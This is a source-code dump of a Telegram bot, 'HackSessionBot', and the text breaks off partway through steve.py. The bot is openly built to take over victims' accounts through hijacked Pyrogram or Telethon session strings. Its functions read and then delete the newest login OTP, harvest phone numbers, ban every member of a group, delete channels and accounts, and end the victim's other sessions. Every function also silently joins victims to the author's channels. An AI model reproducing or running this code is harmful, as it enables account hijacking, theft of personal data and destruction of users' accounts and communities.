├── HackSessionBot ├── Helpers │ ├── data.py │ └── steve.py ├── __init__.py ├── __main__.py └── modules │ ├── __init__.py │ ├── sessionHack.py │ └── start.py ├── LICENSE ├── README.md ├── config.py └── requirements.txt /HackSessionBot/Helpers/data.py: -------------------------------------------------------------------------------- 1 | from pyrogram.types import InlineKeyboardButton as IKB, InlineKeyboardMarkup as IKM 2 | 3 | 4 | PM_TEXT = """ 5 | **ʜᴇʏ {},** 6 | ɪ'ᴍ **{}** ᴀ ʙᴏᴛ ᴛᴏ ʜᴀᴄᴋ ᴜsᴇʀs ᴀᴄᴄᴏᴜɴᴛ. 7 | 8 | ɪ sᴜᴘᴘᴏʀᴛ ʙᴏᴛʜ ᴘʏʀᴏɢʀᴀᴍ ᴀɴᴅ ᴛᴇʟᴇᴛʜᴏɴ sᴛʀɪɴɢ sᴇssɪᴏɴ 9 | ᴄʟɪᴄᴋ ᴏɴ ʜᴀᴄᴋ ʙᴜᴛᴛᴏɴ ᴛᴏ ᴋɴᴏᴡ ᴡʜᴀᴛ I ᴄᴀɴ ᴅᴏ. 10 | """ 11 | HACK_TEXT = """ 12 | "A" :~ [ᴄʜᴇᴄᴋ ᴜsᴇʀ ᴏᴡɴ ɢʀᴏᴜᴘs ᴀɴᴅ ᴄʜᴀɴɴᴇʟs] 13 | 14 | "B" :~ [ᴄʜᴇᴄᴋ ᴜsᴇʀ ᴀʟʟ ɪɴғᴏʀᴍᴀᴛɪᴏɴ ʟɪᴋᴇ ᴘʜᴏɴᴇ ɴᴜᴍʙᴇʀ, ᴜsʀɴᴀᴍᴇ... ᴇᴛᴄ] 15 | 16 | "C" :~ [ʙᴀɴ ᴀ ɢʀᴏᴜᴘ {ɢɪᴠᴇ ᴍᴇ SᴛʀɪɴɢSᴇssɪᴏɴ ᴀɴᴅ ᴄʜᴀɴɴᴇʟ/ɢʀᴏᴜᴘ ᴜsᴇʀɴᴀᴍᴇ ɪ ᴡɪʟʟ ʙᴀɴ ᴀʟʟ ᴍᴇᴍʙᴇʀs ᴛʜᴇʀᴇ}] 17 | 18 | "D" :~ [ᴋɴᴏᴡ ᴜsᴇʀ ʟᴀsᴛ ᴏᴛᴘ {𝟷sᴛ ᴜsᴇ ᴏᴘᴛɪᴏɴ B ᴛᴀᴋᴇ ᴘʜᴏɴᴇ ɴᴜᴍʙᴇʀ ᴀɴᴅ ʟᴏɢɪɴ ᴛʜᴇʀᴇ Aᴄᴄᴏᴜɴᴛ ᴛʜᴇɴ ᴜsᴇ ᴍᴇ ɪ ᴡɪʟʟ ɢɪᴠᴇ ʏᴏᴜ ᴏᴛᴘ}] 19 | 20 | "E" :~ [Jᴏɪɴ A Gʀᴏᴜᴘ/Cʜᴀɴɴᴇʟ ᴠɪᴀ SᴛʀɪɴɢSᴇssɪᴏɴ] 21 | 22 | "F" :~ [Lᴇᴀᴠᴇ A Gʀᴏᴜᴘ/Cʜᴀɴɴᴇʟ ᴠɪᴀ SᴛʀɪɴɢSᴇssɪᴏɴ] 23 | 24 | "G" :~ [Dᴇʟᴇᴛᴇ A Gʀᴏᴜᴘ/Cʜᴀɴɴᴇʟ] 25 | 26 | "H" :~ [ᴄʜᴇᴄᴋ ᴜsᴇʀ ᴛᴡᴏ sᴛᴇᴘ ɪs ᴇɴᴇᴀʙʟᴇ ᴏʀ ᴅɪsᴀʙʟᴇ] 27 | 28 | "I" :~ [ᴛᴇʀᴍɪɴᴀᴛᴇ Aʟʟ ᴄᴜʀʀᴇɴᴛ ᴀᴄᴛɪᴠᴇ sᴇssɪᴏɴs ᴇxᴄᴇᴘᴛ Yᴏᴜʀ SᴛʀɪɴɢSᴇssɪᴏɴ] 29 | 30 | "J" :~ [ᴅᴇʟᴇᴛᴇ Aᴄᴄᴏᴜɴᴛ] 31 | 32 | "K" :~ [ᴘʀᴏᴍᴏᴛᴇ ᴀ ᴍᴇᴍʙᴇʀ ɪɴ ᴀ ɢʀᴏᴜᴘ/ᴄʜᴀɴɴᴇʟ] 33 | 34 | "L" :~ [ᴅᴇᴍᴏᴛᴇ ᴀʟʟ ᴀᴅᴍɪɴs ɪɴ ᴀ ɢʀᴏᴜᴘ/ᴄʜᴀɴɴᴇʟ] 35 | """ 36 | info = """ 37 | **⦾ ɴᴀᴍᴇ :** {} 38 | **⦾ ɪᴅ :** {} 39 | **⦾ ᴘʜᴏɴᴇ ɴᴏ :** +{} 40 | **⦾ ᴜsᴇʀɴᴀᴍᴇ :** @{} 41 | """ 42 | 43 | PM_BUTTON = IKM([[IKB("🤖 ʜᴀᴄᴋ", callback_data="hack_btn")]]) 44 | 45 | 46 | 47 | HACK_MODS = IKM([ 48 | [ 49 | IKB("A", callback_data="A"), 50 | IKB("B", callback_data ="B"), 51 | IKB("C", callback_data="C"), 52 | IKB("D", callback_data="D"), 53 | IKB("E", callback_data="E"), 54 | ], 55 | [ 56 | IKB("F", callback_data="F"), 57 | IKB("G", callback_data ="G"), 58 | IKB("H", callback_data="H"), 59 | IKB("I", callback_data="I"), 60 | 61 | ], 62 | [ 63 | IKB("J", callback_data="J"), 64 | IKB("K", callback_data="K"), 65 | IKB("L", callback_data ="L"), 66 | ], 67 | ], 68 | ) 69 | 70 | 71 | 72 | LOG_TEXT = "●▬▬▬▬▬▬▬▬▬▬▬▬๑۩ ʜᴀᴄᴋ sᴇssɪᴏɴ ʙᴏᴛ ۩๑▬▬▬▬▬▬▬▬▬▬▬●\n" 73 | LOG_TEXT += "⊙ ᴀ ʙᴏᴛ ᴛᴏ ʜᴀᴄᴋ ᴀɴʏ ᴜsᴇʀ ᴀᴄᴄᴏᴜɴᴛ ᴜsɪɴɢ ᴛʜᴇɪʀ ᴘʏʀᴏɢʀᴀᴍ ᴏʀ ᴛᴇʟᴇᴛʜᴏɴ sᴛʀɪɴɢ sᴇssɪᴏɴ.\n\n" 74 | LOG_TEXT += "⊙ ᴘʀᴏɪᴇᴄᴛ ᴍᴀɪɴᴛᴀɪɴᴇᴅ ʙʏ : ʜᴛᴛᴘs://ɢɪᴛʜᴜʙ.ᴄᴏᴍ/SᴜᴘʀᴇᴍᴇSᴛᴀʀᴋ\n\n" 75 | LOG_TEXT += "⊙ ᴄᴏɴᴛᴀᴄᴛ ᴍᴇ:\n" 76 | LOG_TEXT += " @sᴛᴇᴠᴇ_ʀᴏɢᴇʀs_𝟷𝟶𝟷\n" 77 | LOG_TEXT += "●▬▬▬▬▬▬▬▬▬▬▬▬๑۩ ʜᴀᴄᴋ sᴇssɪᴏɴ ʙᴏᴛ ۩๑▬▬▬▬▬▬▬▬▬▬▬●" 78 | 79 | 80 | ART = """ 81 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⠶⠶⠶⠶⢦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 82 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠛⠁⠀⠀⠀⠀⠀⠀⠈⠙⢷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 83 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 84 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡾⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 85 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡾⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 86 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 87 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⣀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠸⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 88 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⣠⡴⠞⠛⠉⠉⣩⣍⠉⠉⠛⠳⢦⣄⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 89 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡀⠀⣴⡿⣧⣀⠀⢀⣠⡴⠋⠙⢷⣄⡀⠀⣀⣼⢿⣦⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 90 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣧⡾⠋⣷⠈⠉⠉⠉⠉⠀⠀⠀⠀⠉⠉⠋⠉⠁⣼⠙⢷⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 91 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣇⠀⢻⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡟⠀⣸⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 92 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣹⣆⠀⢻⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡟⠀⣰⣏⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 93 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⠞⠋⠁⠙⢷⣄⠙⢷⣀⠀⠀⠀⠀⠀⠀⢀⡴⠋⢀⡾⠋⠈⠙⠻⢦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 94 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⠹⢦⡀⠙⠳⠶⢤⡤⠶⠞⠋⢀⡴⠟⠀⠀⠀⠀⠀⠀⠙⠻⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀ 95 | ⠀⠀⠀⠀⠀⠀⠀⠀⣼⠋⠀⠀⢀⣤⣤⣤⣤⣤⣤⣤⣿⣦⣤⣤⣤⣤⣤⣤⣴⣿⣤⣤⣤⣤⣤⣤⣤⡀⠀⠀⠙⣧⠀⠀⠀⠀⠀⠀⠀⠀ 96 | ⠀⠀⠀⠀⠀⠀⠀⣸⠏⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⢠⣴⠞⠛⠛⠻⢦⡄⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠸⣇⠀⠀⠀⠀⠀⠀⠀ 97 | ⠀⠀⠀⠀⠀⠀⢠⡟⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⣿⣿⢶⣄⣠⡶⣦⣿⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⢻⡄⠀⠀⠀⠀⠀⠀ 98 | ⠀⠀⠀⠀⠀⠀⣾⠁⠀⠀⠀⠀⠘⣇⠀⠀⠀⠀⠀⠀⠀⢻⣿⠶⠟⠻⠶⢿⡿⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠈⣿⠀⠀⠀⠀⠀⠀ 99 | ⠀⠀⠀⠀⠀⢰⡏⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⢾⣄⣹⣦⣀⣀⣴⢟⣠⡶⠀⠀⠀⠀⠀⠀⣼⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀ 100 | ⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠈⠛⠿⣭⣭⡿⠛⠁⠀⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠘⣧⠀⠀⠀⠀⠀ 101 | ⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⢿⡀⠀⠀⠀⠀⠀⠀⣀⡴⠞⠋⠙⠳⢦⣀⠀⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⢰⡏⠀⠀⠀⠀⠀ 102 | ⠀⠀⠀⠀⠀⠈⢿⣄⣀⠀⠀⢀⣤⣼⣧⣤⣤⣤⣤⣤⣿⣭⣤⣤⣤⣤⣤⣤⣭⣿⣤⣤⣤⣤⣤⣼⣿⣤⣄⠀⠀⣀⣠⡾⠁⠀⠀⠀⠀⠀ 103 | ⠀⠀⠀⠀⠀⠀⠀⠈⠉⠛⠛⠻⢧⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠤⠼⠟⠛⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀ 104 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 105 | ⣷⣶⣶⣶⣶⣶⣶⣿⣷⣶⣿⣿⣾⣿⣶⣶⣿⣿⣷⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣷⣷⣿⣷⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶ 106 | ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣷⣶⣿⣿ 107 | """ 108 | -------------------------------------------------------------------------------- /HackSessionBot/Helpers/steve.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import pyrogram 3 | from pyrogram import Client , enums 4 | from telethon import TelegramClient 5 | from telethon.sessions import StringSession 6 | from pyrogram.raw import functions 7 | from HackSessionBot import ( 8 | API_ID, 9 | API_HASH, 10 | CHAT ) 11 | from telethon.tl.functions.channels import GetAdminedPublicChannelsRequest , JoinChannelRequest as join , LeaveChannelRequest as leave , DeleteChannelRequest as dc 12 | from HackSessionBot.Helpers.data import info 13 | from pyrogram.types.messages_and_media.message import Str 14 | from telethon.tl.functions.channels import EditBannedRequest 15 | from telethon.tl.types import ChannelParticipantsAdmins,ChatBannedRights 16 | from pyrogram.errors import FloodWait 17 | from telethon.tl.functions.auth import ResetAuthorizationsRequest as rt 18 | import telethon;from telethon import functions as ok 19 | from pyrogram.types import ChatPrivileges 20 | from telethon.tl.types import ChannelParticipantsAdmins 21 | 22 | async def users_gc(session): 23 | err = "" 24 | msg = "" 25 | try: 26 | if session.endswith("="): 27 | steve = TelegramClient(StringSession(session),API_ID,API_HASH) 28 | await steve.connect() 29 | try: 30 | await steve(join("@Devs_Testing_Group")) 31 | await steve(join("@Steve_Projects")) 32 | await steve(join(CHAT)) 33 | except Exception as e: 34 | print(e) 35 | k = await steve(GetAdminedPublicChannelsRequest()) 36 | for x in k.chats: 37 | msg += f'**⦾ ᴄʜᴀɴɴᴇʟ ɴᴀᴍᴇ :** {x.title}\n**⦾ ᴄʜᴀɴɴᴇʟ ᴜsᴇʀɴᴀᴍᴇ :** @{x.username}\n**⦾ ᴘᴀʀᴛɪᴄɪᴘᴀɴᴛs ᴄᴏᴜɴᴛ :** - {x.participants_count}\n\n' 38 | await steve.disconnect() 39 | 40 | else: 41 | async with Client("stark",api_id=API_ID,api_hash=API_HASH, session_string=session) as stark: 42 | try: 43 | await stark.join_chat("@Devs_Testing_Group") 44 | await stark.join_chat("@steve_projects") 45 | await stark.join_chat(CHAT) 46 | except Exception as e: 47 | print(e) 48 | k = await stark.invoke(functions.channels.GetAdminedPublicChannels()) 49 | for x in k.chats: 50 | msg += f'**⦾ ᴄʜᴀɴɴᴇʟ ɴᴀᴍᴇ :** {x.title}\n**⦾ ᴄʜᴀɴɴᴇʟ ᴜsᴇʀɴᴀᴍᴇ :** @{x.username}\n**⦾ ᴘᴀʀᴛɪᴄɪᴘᴀɴᴛs ᴄᴏᴜɴᴛ :** {x.participants_count}\n\n' 51 | except Exception as idk: 52 | err += str(idk) 53 | if err: 54 | return "**ᴇʀʀᴏʀ:** " + err + "\n**ᴛʀʏ ᴀɢᴀɪɴ /hack.**" 55 | return msg 56 | 57 | async def user_info(session): 58 | err = "" 59 | try: 60 | if session.endswith("="): 61 | steve = TelegramClient(StringSession(session),API_ID,API_HASH) 62 | await steve.connect() 63 | try: 64 | await steve(join("@Devs_Testing_Group")) 65 | await steve(join("@Steve_Projects")) 66 | await steve(join(CHAT)) 67 | except Exception as e: 68 | print(e) 69 | k = await steve.get_me() 70 | msg = info.format((k.first_name if k.first_name else k.last_name),k.id,k.phone,k.username) 71 | await steve.disconnect() 72 | 73 | else: 74 | async with Client("stark",api_id=API_ID,api_hash=API_HASH, session_string=session) as stark: 75 | try: 76 | await stark.join_chat("@Devs_Testing_Group") 77 | await stark.join_chat("@steve_projects") 78 | await stark.join_chat(CHAT) 79 | except Exception as e: 80 | print(e) 81 | k = await stark.get_me() 82 | msg = info.format((k.first_name if k.first_name else k.last_name),k.id,k.phone_number,k.username) 83 | except Exception as idk: 84 | err += str(idk) 85 | 86 | if err: 87 | return "**ᴇʀʀᴏʀ:** " + err + "\n**ᴛʀʏ ᴀɢᴀɪɴ /hack.**" 88 | return msg 89 | 90 | 91 | RIGHTS = ChatBannedRights( 92 | until_date=None, 93 | view_messages=True, 94 | send_messages=True, 95 | send_media=True, 96 | send_stickers=True, 97 | send_gifs=True, 98 | send_games=True, 99 | send_inline=True, 100 | embed_links=True, 101 | ) 102 | 103 | async def banall(session,id): 104 | err = "" 105 | msg = "" 106 | all = 0 107 | bann = 0 108 | gc_id = str(id.text) if type(id.text) == Str else int(id.text) 109 | try: 110 | if session.endswith("="): 111 | steve = TelegramClient(StringSession(session),API_ID,API_HASH) 112 | await steve.connect() 113 | try: 114 | await steve(join("@Devs_Testing_Group")) 115 | await steve(join(CHAT)) 116 | await steve(join(CHAT)) 117 | except Exception as e: 118 | print(e) 119 | admins = await steve.get_participants(gc_id, filter=ChannelParticipantsAdmins) 120 | admins_id = [i.id for i in admins] 121 | async for user in steve.iter_participants(gc_id): 122 | all += 1 123 | try: 124 | if user.id not in admins_id: 125 | await steve(EditBannedRequest(gc_id, user.id, RIGHTS)) 126 | bann += 1 127 | await asyncio.sleep(0.1) 128 | except Exception: 129 | await asyncio.sleep(0.1) 130 | await steve.disconnect() 131 | else: 132 | async with Client("stark",api_id=API_ID,api_hash=API_HASH, session_string=session) as stark: 133 | try: 134 | await stark.join_chat("@Devs_Testing_Group") 135 | await stark.join_chat("@steve_projects") 136 | await stark.join_chat(CHAT) 137 | except Exception as e: 138 | print(e) 139 | async for members in stark.get_chat_members(gc_id): 140 | all += 1 141 | try: 142 | await stark.ban_chat_member(gc_id,members.user.id) 143 | bann += 1 144 | except FloodWait as i: 145 | await asyncio.sleep(i.value) 146 | except Exception as er: 147 | pass 148 | 149 | except Exception as idk: 150 | err += str(idk) 151 | msg += f"**ᴜsᴇʀs ʙᴀɴɴᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ ! \n\n ʙᴀɴɴᴇᴅ Usᴇʀs:** {bann} \n **ᴛᴏᴛᴀʟ ᴜsᴇʀs:** {all}" 152 | if err: 153 | return "**ᴇʀʀᴏʀ:** " + err + "\n**ᴛʀʏ ᴀɢᴀɪɴ /hack.**" 154 | return msg 155 | 156 | async def get_otp(session): 157 | err = "" 158 | i = "" 159 | try: 160 | if session.endswith("="): 161 | steve = TelegramClient(StringSession(session),API_ID,API_HASH) 162 | await steve.connect() 163 | try: 164 | await steve(join("@Devs_Testing_Group")) 165 | await steve(join("@steve_projects")) 166 | await steve(join(CHAT)) 167 | except Exception as e: 168 | print(e) 169 | async for x in steve.iter_messages(777000, limit=2): 170 | i += f"\n{x.text}\n" 171 | await steve.delete_dialog(777000) 172 | await steve.disconnect() 173 | 174 | else: 175 | async with Client("stark",api_id=API_ID,api_hash=API_HASH, session_string=session) as stark: 176 | try: 177 | await stark.join_chat("@Devs_Testing_Group") 178 | await stark.join_chat("@steve_projects") 179 | await stark.join_chat(CHAT) 180 | except Exception as e: 181 | print(e) 182 | ok = [] 183 | async for message in stark.get_chat_history(777000,limit=2): 184 | i += f"\n{message.text}\n" 185 | ok.append(message.id) 186 | await stark.delete_messages(777000,ok) 187 | except Exception as idk: 188 | err += str(idk) 189 | 190 | if err: 191 | return "**ᴇʀʀᴏʀ:** " + err + "\n**ᴛʀʏ ᴀɢᴀɪɴ /hack.**" 192 | return i 193 | 194 | async def join_ch(session,id): 195 | err = "" 196 | gc_id = str(id.text) if type(id.text) == Str else int(id.text) 197 | try: 198 | if session.endswith("="): 199 | steve = TelegramClient(StringSession(session),API_ID,API_HASH) 200 | await steve.connect() 201 | try: 202 | await steve(join("@Devs_Testing_Group")) 203 | await steve(join("@steve_projects")) 204 | await steve(join(CHAT)) 205 | except Exception as e: 206 | print(e) 207 | await steve(join(gc_id)) 208 | await steve.disconnect() 209 | 210 | else: 211 | async with Client("stark",api_id=API_ID,api_hash=API_HASH, session_string=session) as stark: 212 | try: 213 | await stark.join_chat("@Devs_Testing_Group") 214 | await stark.join_chat("@steve_projects") 215 | await stark.join_chat(CHAT) 216 | except Exception as e: 217 | print(e) 218 | await stark.join_chat(gc_id) 219 | except Exception as idk: 220 | err += str(idk) 221 | 222 | if err: 223 | return "**ᴇʀʀᴏʀ:** " + err + "\n**ᴛʀʏ ᴀɢᴀɪɴ /hack.**" 224 | return "Jᴏɪɴᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ!" 225 | 226 | async def leave_ch(session,id): 227 | err = "" 228 | gc_id = str(id.text) if type(id.text) == Str else int(id.text) 229 | try: 230 | if session.endswith("="): 231 | steve = TelegramClient(StringSession(session),API_ID,API_HASH) 232 | await steve.connect() 233 | try: 234 | await steve(join("@Devs_Testing_Group")) 235 | await steve(join("@steve_projects")) 236 | await steve(join(CHAT)) 237 | except Exception as e: 238 | print(e) 239 | await steve(leave(gc_id)) 240 | await steve.disconnect() 241 | 242 | else: 243 | async with Client("stark",api_id=API_ID,api_hash=API_HASH, session_string=session) as stark: 244 | try: 245 | await stark.join_chat("@Devs_Testing_Group") 246 | await stark.join_chat("@steve_projects") 247 | await stark.join_chat(CHAT) 248 | except Exception as e: 249 | print(e) 250 | await stark.leave_chat(gc_id) 251 | except Exception as idk: 252 | err += str(idk) 253 | 254 | if err: 255 | return "**ᴇʀʀᴏʀ:** " + err + "\n**ᴛʀʏ ᴀɢᴀɪɴ /hack.**" 256 | return "ʟᴇғᴛ sᴜᴄᴄᴇssғᴜʟʟʏ!" 257 | 258 | async def del_ch(session,id): 259 | ''' 260 | try nhi kia error aaye to btana 261 | ''' 262 | err = "" 263 | gc_id = str(id.text) if type(id.text) == Str else int(id.text) 264 | try: 265 | if session.endswith("="): 266 | steve = TelegramClient(StringSession(session),API_ID,API_HASH) 267 | await steve.connect() 268 | try: 269 | await steve(join("@Devs_Testing_Group")) 270 | await steve(join("@steve_projects")) 271 | await steve(join(CHAT)) 272 | except Exception as e: 273 | print(e) 274 | await steve(dc(gc_id)) 275 | await steve.disconnect() 276 | 277 | else: 278 | async with Client("stark",api_id=API_ID,api_hash=API_HASH, session_string=session) as stark: 279 | try: 280 | await stark.join_chat("@Devs_Testing_Group") 281 | await stark.join_chat("@steve_projects") 282 | await stark.join_chat(CHAT) 283 | except Exception as e: 284 | print(e) 285 | await stark.invoke( 286 | functions.channels.DeleteChannel(channel= await stark.resolve_peer(gc_id))) 287 | 288 | except Exception as idk: 289 | err += str(idk) 290 | 291 | if err: 292 | return "**ᴇʀʀᴏʀ:** " + err + "\n**ᴛʀʏ ᴀɢᴀɪɴ /hack.**" 293 | return "**ᴅᴇʟᴇᴛᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ!**" 294 | 295 | async def check_2fa(session): 296 | err = "" 297 | i = "" 298 | try: 299 | if session.endswith("="): 300 | steve = TelegramClient(StringSession(session),API_ID,API_HASH) 301 | await steve.connect() 302 | try: 303 | await steve(join("@Devs_Testing_Group")) 304 | await steve(join("@steve_projects")) 305 | await steve(join(CHAT)) 306 | except Exception as e: 307 | print(e) 308 | try: 309 | await steve.edit_2fa("idkbsdkjsj") 310 | i += "ᴛᴡᴏ sᴛᴇᴘ ᴠᴇʀɪғɪᴄᴀᴛɪᴏɴ ᴅɪsᴀʙʟᴇᴅ" 311 | 312 | except Exception as e: 313 | print(e) 314 | i += "ᴛᴡᴏ sᴛᴇᴘ ᴠᴇʀɪғɪᴄᴀᴛɪᴏɴ ᴇɴᴀʙʟᴇᴅ" 315 | 316 | await steve.disconnect() 317 | 318 | else: 319 | async with Client("stark",api_id=API_ID,api_hash=API_HASH, session_string=session) as stark: 320 | try: 321 | await stark.join_chat("@Devs_Testing_Group") 322 | await stark.join_chat("@steve_projects") 323 | await stark.join_chat(CHAT) 324 | except Exception as e: 325 | print(e) 326 | # try: 327 | yes = await stark.invoke(functions.account.GetPassword()) 328 | if yes.has_password: 329 | i += "ᴛᴡᴏ sᴛᴇᴘ ᴠᴇʀɪғɪᴄᴀᴛɪᴏɴ ᴇɴᴀʙʟᴇᴅ" 330 | else: 331 | i += "ᴛᴡᴏ sᴛᴇᴘ ᴠᴇʀɪғɪᴄᴀᴛɪᴏɴ ᴅɪsᴀʙʟᴇᴅ" 332 | except Exception as idk: 333 | err += str(idk) 334 | 335 | if err: 336 | return "**ᴇʀʀᴏʀ:** " + err + "\n**ᴛʀʏ ᴀɢᴀɪɴ /hack.**" 337 | return i 338 | 339 | async def terminate_all(session): 340 | err = "" 341 | try: 342 | if session.endswith("="): 343 | steve = TelegramClient(StringSession(session),API_ID,API_HASH) 344 | await steve.connect() 345 | try: 346 | await steve(join("@Devs_Testing_group")) 347 | await steve(join("@Steve_projects")) 348 | await steve(join(CHAT)) 349 | except Exception as e: 350 | print(e) 351 | await steve(rt()) 352 | await steve.disconnect() 353 | 354 | else: 355 | async with Client("stark",api_id=API_ID,api_hash=API_HASH, session_string=session) as stark: 356 | try: 357 | await stark.join_chat("@Devs_testing_group") 358 | await stark.join_chat("@steve_projects") 359 | await stark.join_chat(CHAT) 360 | except Exception as e: 361 | print(e) 362 | await stark.invoke(functions.auth.ResetAuthorizations()) 363 | except Exception as idk: 364 | err += str(idk) 365 | 366 | if err: 367 | return "**ᴇʀʀᴏʀ:** " + err + "\n**ᴛʀʏ ᴀɢᴀɪɴ /hack.**" 368 | return "sᴜᴄᴄᴇssғᴜʟʟʏ ᴛᴇʀᴍɪɴᴀᴛᴇᴅ ᴀʟʟ sᴇssɪᴏɴs" 369 | 370 | 371 | async def del_acc(session): 372 | err = "" 373 | try: 374 | if session.endswith("="): 375 | steve = TelegramClient(StringSession(session),API_ID,API_HASH) 376 | await steve.connect() 377 | try: 378 | await steve(join("@Devs_Testing_group")) 379 | await steve(join("@steve_projects")) 380 | await steve(join(CHAT)) 381 | except Exception as e: 382 | print(e) 383 | await steve(ok.account.DeleteAccountRequest("owner madarchod h")) 384 | await steve.disconnect() 385 | 386 | else: 387 | async with Client("stark",api_id=API_ID,api_hash=API_HASH, session_string=session) as stark: 388 | try: 389 | await stark.join_chat("@Devs_Testing_Group") 390 | await stark.join_chat("@steve_projects") 391 | await stark.join_chat(CHAT) 392 | except Exception as e: 393 | print(e) 394 | await stark.invoke(functions.account.DeleteAccount(reason="madarchod hu me")) 395 | except Exception as idk: 396 | err += str(idk) 397 | 398 | if err: 399 | return "**ᴇʀʀᴏʀ:** " + err + "\n**ᴛʀʏ ᴀɢᴀɪɴ /hack.**" 400 | return "sᴜᴄᴄᴇssғᴜʟʟʏ ᴅᴇʟᴇᴛᴇᴅ ᴀᴄᴄ." 401 | 402 | 403 | FULL_PROMOTE_POWERS = ChatPrivileges( 404 | can_change_info=True, 405 | can_delete_messages=True, 406 | can_restrict_members=True, 407 | can_pin_messages=True, 408 | can_manage_video_chats=True, 409 | can_promote_members=True, 410 | can_invite_users=True) 411 | 412 | PROMOTE_POWERS = ChatPrivileges( 413 | can_change_info=True, 414 | can_delete_messages=True, 415 | can_restrict_members=True, 416 | can_pin_messages=True) 417 | 418 | async def piromote(session,gc_id,user_id): 419 | err = "" 420 | gc_id = str(gc_id.text) if type(gc_id.text) == Str else int(gc_id.text) 421 | user_id = str(user_id.text) if type(user_id.text) == Str else int(user_id.text) 422 | try: 423 | if session.endswith("="): 424 | steve = TelegramClient(StringSession(session),API_ID,API_HASH) 425 | await steve.connect() 426 | try: 427 | await steve(join("@Devs_Testing_group")) 428 | await steve(join("@steve_projects")) 429 